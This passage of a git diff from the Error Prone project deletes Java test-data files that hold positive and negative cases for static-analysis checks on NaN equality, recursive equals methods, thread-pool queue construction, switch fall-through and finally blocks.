KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class EqualsNaNPositiveCases { - - // BUG: Diagnostic contains: Double.isNaN(0.0) - static final boolean ZERO_DOUBLE_NAN = 0.0 == Double.NaN; - - // BUG: Diagnostic contains: !Double.isNaN(1.0) - static final boolean ONE_NOT_DOUBLE_NAN = Double.NaN != 1.0; - - // BUG: Diagnostic contains: Float.isNaN(2.f) - static final boolean TWO_FLOAT_NAN = 2.f == Float.NaN; - - // BUG: Diagnostic contains: !Float.isNaN(3.0f) - static final boolean THREE_NOT_FLOAT_NAN = 3.0f != Float.NaN; - - // BUG: Diagnostic contains: Double.isNaN(Double.NaN) - static final boolean NAN_IS_NAN = Double.NaN == Double.NaN; - - // BUG: Diagnostic contains: Double.isNaN(123456) - static final boolean INT_IS_NAN = 123456 == Double.NaN; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java deleted file mode 100644 index 830ee155b83..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** Created by mariasam on 6/23/17. */ -public class EqualsReferenceNegativeCases { - - @Override - public boolean equals(Object o) { - return (this == o); - } - - class OtherEquals { - @Override - public boolean equals(Object o) { - if (o.equals("hi")) { - return true; - } else { - return o == this; - } - } - } - - class EqualsThisLast { - @Override - public boolean equals(Object o) { - if (o instanceof EqualsThisLast) { - return true; - } - return o.equals(this); - } - } - - class Foo { - @Override - public boolean equals(Object o) { - return o instanceof Foo && this.equals((Foo) o); - } - - public boolean equals(Foo o) { - return true; - } - } - - class OtherEqualsMethod { - @Override - public boolean equals(Object o) { - return equals((String) o); - } - - public boolean equals(String o) { - return true; - } - } - - class CodeBase { - public CodeBase(Object o) {} - - public boolean equals(Object obj) { - CodeBase other = (CodeBase) obj; - return equals(new CodeBase(other.getValue())); - } - - public Object getValue() { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java deleted file mode 100644 index 62129aa5728..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** Created by mariasam on 6/22/17. */ -public class EqualsReferencePositiveCases { - - @Override - // BUG: Diagnostic contains: == - public boolean equals(Object o) { - System.out.println(this.equals(o)); - return true; - } - - class EqualsInElse { - @Override - // BUG: Diagnostic contains: == - public boolean equals(Object o) { - System.out.println(o == this); - return this.equals(o); - } - } - - class FinalObject { - @Override - // BUG: Diagnostic contains: == - public boolean equals(final Object object) { - return this.equals(object); - } - } - - class NoThis { - @Override - // BUG: Diagnostic contains: == - public boolean equals(Object o) { - return equals(o); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java deleted file mode 100644 index 6e46463f2c0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.util.Collection; -import java.util.concurrent.ArrayBlockingQueue; -import java.util.concurrent.LinkedBlockingDeque; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.SynchronousQueue; -import java.util.concurrent.ThreadPoolExecutor; - -/** - * Negative test cases for {@link - * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. - */ -final class ErroneousThreadPoolConstructorCheckerNegativeCases { - - private static final int CORE_POOL_SIZE = 10; - private static final int MAXIMUM_POOL_SIZE = 20; - private static final long KEEP_ALIVE_TIME = 60; - - private void createThreadPoolWithUnboundedQueue() { - new ThreadPoolExecutor( - MAXIMUM_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingQueue<>()); - } - - private void createThreadPoolWithUnboundedQueueAndEmptyPool() { - new ThreadPoolExecutor(0, 1, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); - } - - private void createThreadPoolWithBoundedArrayBlockingQueue( - int initialCapacity, boolean fair, Collection initialTasks) { - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new ArrayBlockingQueue<>(initialCapacity)); - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new ArrayBlockingQueue<>(initialCapacity, fair)); - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new ArrayBlockingQueue<>(initialCapacity, fair, initialTasks)); - } - - private void createThreadPoolWithBoundedLinkedBlockingQueue(int capacity) { - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingQueue<>(capacity)); - } - - private void createThreadPoolWithBoundedLinkedBlockingDeque(int capacity) { - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingDeque<>(capacity)); - } - - private void createThreadPoolWithBoundedSynchronousQueue() { - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new SynchronousQueue<>()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java deleted file mode 100644 index 32a7c6dcf3d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.util.Comparator.comparingInt; -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.util.Collection; -import java.util.concurrent.LinkedBlockingDeque; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.LinkedTransferQueue; -import java.util.concurrent.PriorityBlockingQueue; -import java.util.concurrent.ThreadPoolExecutor; - -/** - * Positive test cases for {@link - * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. - */ -final class ErroneousThreadPoolConstructorCheckerPositiveCases { - - private static final int CORE_POOL_SIZE = 10; - private static final int MAXIMUM_POOL_SIZE = 20; - private static final long KEEP_ALIVE_TIME = 60; - - private void createThreadPoolWithUnboundedLinkedBlockingQueue(Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingQueue<>(initialTasks)); - } - - private void createThreadPoolWithUnboundedLinkedBlockingDeque(Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingDeque<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingDeque<>(initialTasks)); - } - - private void createThreadPoolWithUnboundedLinkedTransferQueue(Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedTransferQueue<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedTransferQueue<>(initialTasks)); - } - - private void createThreadPoolWithUnboundedPriorityBlockingQueue( - int initialCapacity, Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new PriorityBlockingQueue<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new PriorityBlockingQueue<>(initialTasks)); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new PriorityBlockingQueue<>(initialCapacity)); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new PriorityBlockingQueue<>(initialCapacity, comparingInt(Object::hashCode))); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java deleted file mode 100644 index c2b8f875b14..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java +++ /dev/null @@ -1,162 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.FileInputStream; -import java.io.IOException; - -public class FallThroughNegativeCases { - - public class AllowAnyComment { - - public int numTweets = 55000000; - - public int everyBodyIsDoingIt(int a, int b) { - switch (a) { - case 1: - System.out.println("1"); - // fall through - case 2: - System.out.println("2"); - break; - default: - } - return 0; - } - } - - static class EmptyDefault { - - static void foo(String s) { - switch (s) { - case "a": - case "b": - throw new RuntimeException(); - default: - // do nothing - } - } - - static void bar(String s) { - switch (s) { - default: - } - } - } - - class TerminatedSynchronizedBlock { - - private final Object o = new Object(); - - int foo(int i) { - switch (i) { - case 0: - synchronized (o) { - return i; - } - case 1: - return -1; - default: - return 0; - } - } - } - - class TryWithNonTerminatingFinally { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - return i; - } finally { - z++; - } - case 1: - return -1; - default: - return 0; - } - } - } - - abstract class TryWithTerminatingCatchBlocks { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - return bar(); - } catch (RuntimeException e) { - log(e); - throw e; - } catch (Exception e) { - log(e); - throw new RuntimeException(e); - } - case 1: - return -1; - default: - return 0; - } - } - - int tryWithResources(String path, int i) { - switch (i) { - case 0: - try (FileInputStream f = new FileInputStream(path)) { - return f.read(); - } catch (IOException e) { - throw new RuntimeException(e); - } - case 1: - try (FileInputStream f = new FileInputStream(path)) { - return f.read(); - } catch (IOException e) { - throw new RuntimeException(e); - } - default: - throw new RuntimeException("blah"); - } - } - - abstract int bar() throws Exception; - - void log(Throwable e) {} - } - - class TryWithTerminatingFinally { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - z++; - } finally { - return i; - } - case 1: - return -1; - default: - return 0; - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java deleted file mode 100644 index 8fef668c2ae..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java +++ /dev/null @@ -1,89 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class FallThroughPositiveCases { - - class NonTerminatingTryFinally { - - public int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - if (z > 0) { - return i; - } else { - z++; - } - } finally { - z++; - } - // BUG: Diagnostic contains: - case 1: - return -1; - default: - return 0; - } - } - } - - abstract class TryWithNonTerminatingCatch { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - return bar(); - } catch (RuntimeException e) { - log(e); - throw e; - } catch (Exception e) { - log(e); // don't throw - } - // BUG: Diagnostic contains: - case 1: - return -1; - default: - return 0; - } - } - - abstract int bar() throws Exception; - - void log(Throwable e) {} - } - - public class Tweeter { - - public int numTweets = 55000000; - - public int everyBodyIsDoingIt(int a, int b) { - switch (a) { - case 1: - System.out.println("1"); - // BUG: Diagnostic contains: - case 2: - System.out.println("2"); - // BUG: Diagnostic contains: - default: - } - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java deleted file mode 100644 index 91eb1971b70..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java +++ /dev/null @@ -1,96 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class FinallyNegativeCase1 { - - public static void test1() { - while (true) { - try { - break; - } finally { - } - } - } - - public static void test2() { - while (true) { - try { - continue; - } finally { - } - } - } - - public static void test3() { - try { - return; - } finally { - } - } - - public static void test4() throws Exception { - try { - throw new Exception(); - } catch (Exception e) { - } finally { - } - } - - /** break inner loop. */ - public void test5() { - label: - while (true) { - try { - } finally { - while (true) { - break; - } - } - } - } - - /** continue statement jumps out of inner for. */ - public void test6() { - label: - for (; ; ) { - try { - } finally { - for (; ; ) { - continue; - } - } - } - } - - /** break statement jumps out of switch. */ - public void test7() { - int i = 10; - while (true) { - try { - } finally { - switch (i) { - case 10: - break; - } - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java deleted file mode 100644 index af26b1d22d6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class FinallyNegativeCase2 { - public void test1(boolean flag) { - try { - return; - } finally { - } - } - - public void test2() throws Exception { - try { - } catch (Exception e) { - throw new Exception(); - } finally { - } - } - - public void returnInAnonymousClass(boolean flag) { - try { - } finally { - new Object() { - void foo() { - return; - } - }; - } - } - - public void throwFromNestedTryInFinally() throws Exception { - try { - } finally { - try { - throw new Exception(); - } catch (Exception e) { - } finally { - } - } - } - - public void nestedTryInFinally2() throws Exception { - try { - } finally { - try { - // This exception will propagate out through the enclosing finally, - // but we don't do exception analysis and have no way of knowing that. - // Xlint:finally doesn't handle this either, since it only reports - // situations where the end of a finally block is unreachable as - // defined by JLS 14.21. - throw new IOException(); - } catch (Exception e) { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java deleted file mode 100644 index 6588c75627b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java +++ /dev/null @@ -1,146 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * When a finally statement is exited because of a return, throw, break, or continue statement, - * unintuitive behaviour can occur. Consider: - * - *